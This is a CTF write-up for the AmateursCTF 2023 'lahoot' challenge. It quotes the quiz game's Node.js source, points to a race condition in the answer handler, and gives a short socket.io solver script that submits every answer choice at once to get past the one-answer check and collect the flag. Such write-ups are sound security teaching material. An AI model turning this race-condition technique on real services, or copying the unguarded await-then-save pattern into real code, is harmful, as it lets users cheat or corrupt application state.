Recently, I participated in AmateursCTF 2023 with HCS (Heroes Cyber Security) Team and we succesfully solved all web challenges. In this article, I will explain how I solved the lahoot challenge.
Overview
As you can see in the image above, in this challenge we’ve given a link and source code of the challenges itself.
The challenge it self is like simple version of kahoot. The server will always loop the game which consist of 17 rounds and each round has a random questions. Before game started, there is lobby page like you can see on the image above. On the lobby page, we can change our username (default is random). After countdown finished, then we can start playing the game.
There is 4 type of phase on each game :
- lobby phase, this is a phase before the game started, on this phase we can change our username.
- question-tease, this is a phase inside the game, on this phase we can start to see the question.
- question-answering, this is a phase after question-tease phase, on this phase we can start to answering the question.
- answer-and-leaderboard, this is a phase after question-answering phase, on this phase we can see the correct answer and the leaderboard.
Where is the flag?
Let’s try to read the source code that we’ve given.
// file: index.js ... let sockets = await io.sockets.fetchSockets(); let total = config.round_distribution.reduce((a,b) => a + b); console.log(`total: ${total}`); for(let socket of sockets){ if(playerState.get(socket.id).streak >= total){ // player is cracked so we give flag. socket.emit("systemMessage",process.env.FLAG || "amateursCTF{t3st3ing_and_d3v3lop3m3nt_fl@g}",true); }else{ socket.emit("systemMessage", "Did you know? High streak players will get an exclusive flag. Sadly you only had a streak of " + playerState.get(socket.id).streak + " but we require " + total) } } ...
We know that the flag is stored in environtment variables (.env file). According to code above, we can get the real flag if we can answer all questions correctly and get full streak.
Problem
So what’s the problem? The problem is there is almost impossible to answer all questions correctly because of several things :
file: index.js ... while(true){ await lobby(); await resetGame(); currentQuestionRoundIndex = 0; for(let r = 0; r < config.round_distribution.length; r ++){ let seenQuestions = new Set(); for(let i = 0; i < config.round_distribution[r]; i ++){ let chosenQuestionIndex = crypto.randomInt(config.questions[r].length); let tries = 0; // TODO: delete tries logic, might keep it in for testing while(seenQuestions.has(chosenQuestionIndex)){ chosenQuestionIndex = crypto.randomInt(config.questions[r].length); tries ++; if(tries > 1000){ break; } } seenQuestions.add(chosenQuestionIndex); currentQuestionRoundIndex ++; let chosenQuestion = config.questions[r][chosenQuestionIndex]; await presentQuestion(chosenQuestion); } } ...
- Question is always generated randomly, which mean questions on each game is not the same.
- Too much weird questions. Umm… I mean look at the one of example question below :
- There is too much list of questions that avalaible. We can play along the games to get all the avalaible questions and the answer, then we can make a list about it. But, this method will take so much time. Also, we don’t know how many questions that avalaible. The most important is this method is not cool :\
- The duration of answering question is too short.
Finding the vulnerability
We’ve known that flag is on the .env file, so I think there is 3 attack vector :
- Find LFI vulnerability, since we know .env full path (according to Dockerfile). It’s on /home/node/app/.env
// file: Dockerfile FROM node:16 COPY ./* /home/node/app/ WORKDIR /home/node/app RUN npm install --force ENV PORT=8081 CMD ["npm", "start"] EXPOSE 8081
- Find RCE vulnerability, then we can read .env file.
- Find way to answer all questions correctly and get full streak.
There is 2 important things that we can control, our username and our answer. Since we can change our username, maybe we can try to find some SSTI that can lead to RCE(?). Sadly, the application is rendering on client side, see code below :
// file: public/app.js ... function renderLobby(state){ if(state.phaseState.startTime){ $("#lobby-estimate").text("Starting in " + formatTime(Math.floor((state.phaseState.startTime - Date.now())/1000))) }else{ $("#lobby-estimate").text("Waiting for server time estimate"); } let playerList = $("#lobby-playerlist"); playerList.empty(); let index = 0; for(let player of state.players){ let bgColor = colors[index % 2]; playerList.append($("<div></div>").text(player.name).addClass("p-4 " + "bg-" + bgColor)); index ++; } ensureMusic(state.sounds.lobby); } ... let lbEl = $("#leaderboard"); socket.on("leaderboardUpdate", (lb) => { lbEl.empty(); for(let player of lb){ let nameDiv = $("<div></div>").text(player.name + " (streak: " + player.streak + ") ").addClass("flex-none"); let growDiv = $("<div></div>").addClass("grow"); let pointsDiv = $("<div></div>").text(player.points + " pts").addClass("flex-none"); lbEl.append($("<div></div>").append(nameDiv).append(growDiv).append(pointsDiv).addClass("flex")); } let streaker = lb.reduce((a,b) => { if(a.streak > b.streak){ return a; } return b; }); $("#streak-stats").text("Out of " + lb.length + " total player(s), " + streaker.name + " has is on a streak of " + streaker.streak + " with " + streaker.points + " pts"); }); ...
After spending time analyzing the source code. I found idea to how to get the flag.
We already know to get the flag, playerState.streak should be equal to total of questions. The value of playerState.streak will incremented or will be 0 depend on whether our socket.id is exist on gottenItCorrect or not.
// file: index.js async function presentQuestion(question){ gottenItCorrect.clear(); let sockets = await io.sockets.fetchSockets(); for(let socket of sockets){ let pState = getPlayerState(socket.id); if(gottenItCorrect.has(socket.id)){ pState.streak ++; }else{ pState.streak = 0; } socket.emit("personalUpdate", { ...pState, correct: gottenItCorrect.has(socket.id) }); playerState.set(socket.id, pState); } await syncLeaderboardsToPublic(); ... }
In index.js there is also code below :
// file: index.js io.on("connection", (socket) => { ... socket.on("answerQuestion", async (choice) => { if(curPhase != "question-answering"){ socket.emit("systemMessage", "Question is not open to answer anymore! Sorry. "); return; } ... if(player.lastSubmitIndex < currentQuestionRoundIndex){ ... if(correctAnswer == choice){ ... gottenItCorrect.add(socket.id); }else{ // sad no points oof } player.lastSubmitIndex = currentQuestionRoundIndex; await player.save(); }else{ socket.emit("systemMessage", "You already submitted an answer to this question. "); } }); ... });
The socket.id will be added to gottenItCorrect if our answer is correct. But, the application didn’t handle case when the answer is wrong. In the future, we can exploit this to get the flag.
The Vulnerability
There is vulnerability called ‘Race Condition’ in this application. Notice there is `await player.save();` in that code, it will wait the function to fully finish and it can be exploited due to race condition. Since, the websocket handle the request synchronously, therefore we can send multiple request to websocket simultaneously to bypass the check of player.lastSubmitIndex.
Winning the Race
To exploit the vulnerability above, I made solver script in Javascript. Here it is :
import { io } from "socket.io-client"; const socket = io("ws://amt.rs:31458/"); socket.on("systemMessage", (msg) => { console.log(`System: ${msg}`); if (msg.startsWith("amateursCTF")){ console.log("Flag: " + msg); process.exit(0); } }); socket.on("gameState", (state) => { // bruteforce if (state.phase === "question-answering") { for (let answer of state.phaseState.answers) { socket.emit("answerQuestion", answer); } } }); socket.on("personalUpdate", (state) => { console.log(`Points: ${state.points}, Streak: ${state.streak}`); });
The idea is to bruteforce all possible answer of each question since there is exist race condition and lack of handling when the choice answer is wrong. Running the solver script above will give you the flag.
Thanks for reading!